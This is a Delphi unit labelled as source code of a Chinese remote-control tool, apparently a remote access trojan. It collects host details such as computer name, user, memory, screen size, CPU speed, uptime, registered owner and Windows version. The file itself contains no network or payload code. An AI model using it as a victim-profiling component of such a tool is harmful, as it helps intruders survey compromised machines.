osmsg.pas

海盗远控1.23源代码

unit OSMsg;

interface
Uses
Windows,Classes,SysUtils,Registry;

type
 TVendor = array [0..11] of char;
type
  POSVersionInfoEx = ^TOSVersionInfoEx;
  OSVERSIONINFOEXA = record
    dwOSVersionInfoSize: DWORD;
    dwMajorVersion: DWORD;
    dwMinorVersion: DWORD;
    dwBuildNumber: DWORD;
    dwPlatformId: DWORD;
    szCSDVersion: Array[0..127] of AnsiChar;
    wServicePackMajor: WORD;
    wServicePackMinor: WORD;
    wSuiteMask: WORD;
    wProductType: BYTE;
    wReserved: BYTE;
  end;

  OSVERSIONINFOEXW = record
    dwOSVersionInfoSize: DWORD;
    dwMajorVersion: DWORD;
    dwMinorVersion: DWORD;
    dwBuildNumber: DWORD;
    dwPlatformId: DWORD;
    szCSDVersion: Array[0..127] of WideChar;
    wServicePackMajor: WORD;
    wServicePackMinor: WORD;
    wSuiteMask: WORD;
    wProductType: BYTE;
    wReserved: BYTE;
  end;
  OSVERSIONINFOEX = OSVERSIONINFOEXA;
  TOSVersionInfoEx = OSVERSIONINFOEX;
   //获取CPU生产厂家函数
function GetCPUVendor : TVendor; assembler; register;
{计算机名称}
function Computername :string;
{当前用户}
function Currentuser :string;
{物理内存}
function Phymemery :string;
{窗口分辨率}
function Windowssize:string;
{测试CPU速度}
function GetCPUSpeed: Double;
{开机时间}
function Getopentime :string;
{注册公司和用户}
function regist(id:word):string;
{操作系统版本}
function GetWindowsVersion: string;

implementation

const

  { 系统版本 }
  VER_NT_WORKSTATION                 = $00000001;
  VER_NT_DOMAIN_CONTROLLER           = $00000002;
  VER_NT_SERVER                      = $00000003;

  VER_SERVER_NT                      = $80000000;
  VER_WORKSTATION_NT                 = $40000000;

  VER_SUITE_SMALLBUSINESS            = $00000001;
  VER_SUITE_ENTERPRISE               = $00000002;
  VER_SUITE_BACKOFFICE               = $00000004;
  VER_SUITE_COMMUNICATIONS           = $00000008;
  VER_SUITE_TERMINAL                 = $00000010;
  VER_SUITE_SMALLBUSINESS_RESTRICTED = $00000020;
  VER_SUITE_DATACENTER               = $00000080;
  VER_SUITE_SINGLEUSERTS             = $00000100;
  VER_SUITE_PERSONAL                 = $00000200;
  VER_SUITE_BLADE                    = $00000400;
  VER_SUITE_STORAGE_SERVER           = $00000200;

   //获取CPU生产厂家函数
function GetCPUVendor : TVendor; assembler; register;
asm
  PUSH EBX {Save affected register}
  PUSH EDI
  MOV EDI,EAX {@Result (TVendor)}
  MOV EAX,0
  DW $A20F {CPUID Command}
  MOV EAX,EBX
  XCHG EBX,ECX {save ECX result}
  MOV ECX,4
  @1:
  STOSB
  SHR EAX,8
  LOOP @1
  MOV EAX,EDX
  MOV ECX,4
  @2:
  STOSB
  SHR EAX,8
  LOOP @2
  MOV EAX,EBX
  MOV ECX,4
  @3:
  STOSB
  SHR EAX,8
  LOOP @3
  POP EDI {Restore registers}
  POP EBX
end;



{计算机名称}
function Computername :string;
var temp:pchar;
    size:DWord;
begin
   getmem(temp,255);
   size:=255;
   if GetComputerName(temp,size)=false then
     begin
       freemem(temp);
       exit;
     end;
   computername:=temp;
   freemem(temp);
end;

{当前用户}
function Currentuser :string;
var
  lpName: PAnsiChar;
  lpUserName: PAnsiChar;
  lpnLength: DWORD;
begin
  lpName :='';
  Result := '';
  lpnLength := 0;
  WNetGetUser(nil, nil, lpnLength);
  if lpnLength > 0 then
    begin
      GetMem(lpUserName, lpnLength);
      if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then
      Result := lpUserName;
      FreeMem(lpUserName, lpnLength);
    end;
end;

{物理内存}
function Phymemery :string;
var
  MB,G:integer;
  meminfo:memorystatus;
begin
  meminfo.dwLength :=sizeof(memorystatus);
  GlobalMemoryStatus(meminfo);
  MB:= meminfo.dwTotalPhys div 1048576;
  G:= MB div 1000;
  if G <> 0 then Result:=inttostr(G) + 'G' else Result:=inttostr(MB) + 'MB';
end;

{窗口分辨率}
function Windowssize:string;
begin
  Result :=inttostr(GetSystemMetrics(SM_CXSCREEN))
    +'X'+inttostr(GetSystemMetrics(SM_CYSCREEN));
end;
{测试CPU速度}

function GetCPUSpeed: Double;
const
  DelayTime = 500;
var
  TimerHi, TimerLo: DWORD;
  PriorityClass, Priority: Integer;
begin
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);

  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

  Sleep(10);
  asm
    dw 310Fh
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  Sleep(DelayTime);
  asm
    dw 310Fh
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  Result := TimerLo / (1000.0 * DelayTime);
end;
{开机时间}
function Getopentime :string;
var h,m,s:integer;
begin
  h:=(gettickcount div 1000) div 3600;
  s:=(gettickcount div 1000) mod 60;
  m:=(gettickcount div 1000) div 60-h*60;
  result:=inttostr(h)+':'+inttostr(m)+':'+inttostr(s);
end;
{注册公司和用户}
function regist(id:word):string;
var reg:tregistry;
begin
  reg:=tregistry.Create ;
  try
    reg.rootkey:=HKEY_LOCAL_MACHINE;
    reg.OpenKey('Software\Microsoft\Windows NT\currentversion',false);
    case id of
          0:result:=reg.ReadString('Registeredorganization');
          1:result:=reg.readstring('RegisteredOwner');
          end;
  finally
    reg.CloseKey;
    reg.Free;
  end;;
end;
{操作系统版本}
function GetWindowsVersion: string;
var
  osVerInfo : TOSVersionInfoEx; //用于装载版本信息的结构
  ExVerExist: Boolean;
  ProductType: string;
Begin
  Result := 'Windows';
  ExVerExist := True;
  //在调用函数GetVersionEx之前将dwOSVersionInfoSize字段设为结构的大小(156)
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfoEx);
  //如果调用失败 将dwOSVersionInfoSize字段设为结构的大小(148)
  if not GetVersionEx(POSVersionInfo(@osVerInfo)^) then
  begin
    osVerInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
    GetVersionEx(POSVersionInfo(@osVerInfo)^);
    ExVerExist := False;
  end;
 with osVerInfo do
  begin
    case dwPlatformId of
      VER_PLATFORM_WIN32s : Result := Result + Format(' %d.%d',[dwMajorVersion, dwMinorVersion]);
      VER_PLATFORM_WIN32_WINDOWS : { Windows 9x/ME }
      begin
        if (dwMajorVersion = 4) and (dwMinorVersion = 0) then
        begin
          Result:=Result+' 95';
          if szCSDVersion[1] in ['B','C'] then
            Result:=Result+' OSR2';
        end
        else if (dwMajorVersion = 4) and (dwMinorVersion = 10) then
        begin
          Result := Result + ' 98';
          if (osVerInfo.szCSDVersion[1] = 'A') then
            Result := Result + ' Second Edition';
        end
        else if (dwMajorVersion=4) and (dwMinorVersion = 90) Then
          Result:=Result + ' Millenium Edition';
      end;
      VER_PLATFORM_WIN32_NT : { Windows NT/2000 }
        begin
          case dwMajorVersion of
            3, 4: Result:=Result+Format(' NT %d.%d',[dwMajorVersion, dwMinorVersion]);
            5: begin
                 if dwMinorVersion=0 then
                   Result := Result + ' 2000'
                 else if dwMinorVersion = 1 then
                   Result := Result + ' XP'
                 else if dwMinorVersion = 2 then
                   Result := Result + ' 2003 Server';
               end;
            //6: Windows Server "Longhorn" ,Windows Vista
          end;
          if ExVerExist then
          begin
            if wProductType = VER_NT_WORKSTATION then
            begin
              if dwMajorVersion = 4 then
                Result := Result + ' Workstation'
              else if wSuiteMask and VER_SUITE_PERSONAL <> 0 then
                Result := Result + ' Home Edition'
              else if dwMajorVersion = 6 then
                Result := Result + ' Vista'
              else
                Result := Result + ' Professional';
            end
            else if wProductType = VER_NT_SERVER then
            begin
              if (dwMajorVersion = 5) and (dwMinorVersion = 2) then
              begin
                if wSuiteMask and VER_SUITE_DATACENTER <> 0 then
                  Result := Result + ' Datacenter Edition'
                else if wSuiteMask and VER_SUITE_ENTERPRISE <> 0 then
                  Result := Result + ' Enterprise Edition'
                else if wSuiteMask and VER_SUITE_BLADE <> 0 then
                  Result := Result + ' Web Edition'
                else if wSuiteMask and VER_SUITE_STORAGE_SERVER <> 0 then
                  Result := Result + ' R2'
                else
                  Result := Result + ' Standard Edition';
              end
              else if (dwMajorVersion = 5) and (dwMinorVersion = 0) then
              begin
                if wSuiteMask and VER_SUITE_DATACENTER <> 0 then
                  Result := Result + ' Datacenter Server'
                else if wSuiteMask and VER_SUITE_ENTERPRISE <> 0 then
                  Result := Result + ' Advanced Server'
                else
                  Result := Result + ' Server'
              end
              else if (dwMajorVersion = 6) and (dwMinorVersion = 0) then
              begin
                if wSuiteMask and VER_SUITE_DATACENTER <> 0 then
                  Result := Result + 'Server "Longhorn" Datacenter Edition'
                else if wSuiteMask and VER_SUITE_ENTERPRISE <> 0 then
                  Result := Result + 'Server "Longhorn" Enterprise Edition'
              end
              else
              begin
                Result:=Result+' Server';
                if wSuiteMask and VER_SUITE_ENTERPRISE <> 0 then
                  Result:=Result+' Enterprise Edition';
              end;
            end;
          end
          else
          begin
            with TRegistry.Create do
            begin
              try
                RootKey:=HKEY_LOCAL_MACHINE;
                if OpenKey('\SYSTEM\CurrentControlSet\Control\ProductOptions',False) then
                begin
                  if ValueExists('ProductType') then
                  begin
                    ProductType:=ReadString('ProductType');
                    if SameText(ProductType,'WinNT') then
                      Result:=Result+' Workstation'
                    else if SameText(ProductType,'LanManNT') then
                      Result:=Result+' Server'
                    else if SameText(ProductType,'ServerNT') then
                      Result:=Result+' Advance Server';
                  end;
                  CloseKey;
                end;
              finally
                Free;
              end;
            end;
          end;
          Result:=Result+' '+szCSDVersion;
          if (dwMajorVersion=4) and SameText(szCSDVersion,'Service Pack 6') then
          begin
            with TRegistry.Create do
            begin
              try
                RootKey:=HKEY_LOCAL_MACHINE;
                if OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009',False) then
                begin
                  Result:=Result+'a';
                  CloseKey;
                end;
              finally
                Free;
              end;
            end;
          end;
        end;
    end;
    Result := Format(Result + ' (%d.%d Build %d)',[
      dwMajorVersion,
      dwMinorVersion,
      dwBuildNumber and $FFFF]);
  end
end;




end.